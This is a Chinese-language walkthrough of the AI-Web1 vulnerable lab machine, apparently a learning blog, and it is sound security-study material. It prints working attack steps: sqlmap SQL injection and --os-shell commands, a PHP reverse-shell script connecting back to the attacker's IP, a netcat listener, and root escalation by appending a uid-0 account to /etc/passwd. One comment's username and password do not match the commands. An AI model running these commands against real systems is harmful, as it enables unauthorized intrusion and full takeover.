AI-Web1通关记录

学习自_PowerShell

靶机地址:192.168.174.134

kali地址:192.168.174.137

信息收集

主机发现

└─$ nmap -sn 192.168.174.0/24 
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 13:30 CST
Nmap scan report for 192.168.174.2
Host is up (0.00076s latency).
Nmap scan report for 192.168.174.134
Host is up (0.00059s latency).
Nmap scan report for 192.168.174.137
Host is up (0.00044s latency).
Nmap done: 256 IP addresses (3 hosts up) scanned in 5.09 seconds

端口扫描

└─$ sudo nmap -T4 -sV -O -A -p- 192.168.174.134
[sudo] password for eraser:
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-12 13:36 CST
Nmap scan report for 192.168.174.134
Host is up (0.00071s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd
| http-robots.txt: 2 disallowed entries
|_/m3diNf0/ /se3reTdir777/uploads/
|_http-server-header: Apache
|_http-title: AI Web 1.0
MAC Address: 00:0C:29:BD:8C:E3 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

TRACEROUTE
HOP RTT ADDRESS
1 0.71 ms 192.168.174.134

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.57 seconds

可以看到开放了一个80端口,以及一些网站目录,尝试访问一下

访问目标页面

image-20240312134058310

谷歌都搜不到,没什么信息,继续看下其它目录有什么信息

robots.txt资料

User-agent: *
Disallow:
Disallow: /m3diNf0/
Disallow: /se3reTdir777/uploads/

查阅资料发现,robots.txt是网站管理者写给爬虫的一封信,里面描述了网站管理者不希望爬虫做的事,比如:

  • 不要访问某个文件、文件夹
  • 禁止某些爬虫的访问
  • 限制爬虫访问网站的频率
robots.txt的内容
User-agent: 爬虫的名称
Disallow: 不允许爬虫访问的地址
Allow: 允许爬虫访问的地址
若User-agent是*,则表示对象是所有爬虫。

官方文档

结合以上信息,/m3diNf0/和/se3reTdir777/uploads/是不希望访问的目录,推测里面有重要信息,但不知道具体内容,扫描下网站目录

└─# dirb http://192.168.174.134/m3diNf0/ 
+ http://192.168.174.134/m3diNf0/info.php (CODE:200|SIZE:84305)
.....
└─# dirb http://192.168.174.134/se3reTdir777
---- Scanning URL: http://192.168.174.134/se3reTdir777/ ----
+ http://192.168.174.134/se3reTdir777/index.php (CODE:200|SIZE:1228)
...

可以看到前一个目录下有个info.php文件,后一个目录下有个index.php,分别尝试访问,

/m3diNf0

info.php

image-20240312140833736

发现绝对路径:/home/www/html/web1x443290o2sdf92213/m3diNf0/info.php

index.php

一个是个看着很明显的sql注入界面,输入1提交一下,有回显

image-20240312141051083

判断是否存在注入点,输入分号试试

image-20240312141259232

存在报错

SQL注入

这里我们先抓包,确认请求参数

POST /se3reTdir777/index.php HTTP/1.1
Host: 192.168.174.134
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
Origin: http://192.168.174.134
Connection: close
Referer: http://192.168.174.134/se3reTdir777/index.php
Upgrade-Insecure-Requests: 1
uid=1&Operation=Submit

可以看到注入参数为“uid=1&Operation=Submit”

下面用sqlmap爆破数据库

python sqlmap.py -u "http://192.168.174.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" --dbs

image-20240312144608515

看看aiweb1里的表

python sqlmap.py -u "http://192.168.174.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 --tables

image-20240312144720285

看看表里的数据

python sqlmap.py -u "http://192.168.174.134/se3reTdir777/index.php" --data "uid=1&Operation=Submit" -D aiweb1 -T user --dump

image-20240312145259001

没什么有用信息

尝试使用sqlmap的–os-shell命令

os-shell执行条件有三个:
  1.网站必须是root权限
  2.网站的绝对路径已知
  3.GPC为off(php主动转义的功能关闭)

依次选择 php(default),custom location(s)
根据前面找到的info.php文件暴露的信息,绝对路径选择:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
uploads的目录是可以成功写入的

python sqlmap.py -u "http://192.168.174.134/se3reTdir777" --data 'uid=1&Operation=Submit' --level=3 --os-shell

image-20240312150251817

成功反弹到shell,但是权限极低,面临提权问题

提权

准备好一个提权脚本

<?php
$sock=fsockopen("192.168.174.137",8888);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

使用python搭建一个简易的服务器

python -m http.server 9966
#9966为端口号,可自己指定

此时简易服务器已搭建完成,接下来打开网页,访问本机,查看搭建是否成功

image-20240312151128619

下载文件到靶机

回到我们控制目标shell的窗口,下载文件

wget -S http://192.168.174.137:9966/test.php

image-20240312151226436

有时候可能会出现异常,多试几次就可以了。再打开一个终端,对8888端口进行监听:nc -lvp 8888,之后就直接运行文件 php shell.php 就可成功反弹shell

image-20240312151346480

提权到root

可以用python转换成交互式shell,这样看着更舒服

python -c 'import pty;pty.spawn("/bin/bash")'

image-20240312152427442

发现当前用户不是root用户但是这个用户可以对/etc/passwd 文件进行写入权限

ls -l /etc

image-20240312152835669

所以我们尝试添加一个用户登录,因为写入的时候密码是加密的,所以要先加密密码,:

openssl passwd -1 -salt web1 123456   //用openssl生成用户,用户名为panda ,密码为 panda
$1$web1$ZrYgDZgZpLlsnVlxUaZwh/ //生成后/etc/passwd储存用户格式的文件
panda:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0:root:/root:/bin/bash //写入/etc/passwd文件的格式

然后再来写入密码:

echo 'web1:$1$web1$ZrYgDZgZpLlsnVlxUaZwh/:0:0::/root:/bin/bash'>>/etc/passwd

image-20240312153132553

切换用户到我们刚刚自己创建的 web1

image-20240312153441484

查看权限,已经是root权限,并且成功拿取到flag

image-20240312153548149

image-20240312153911324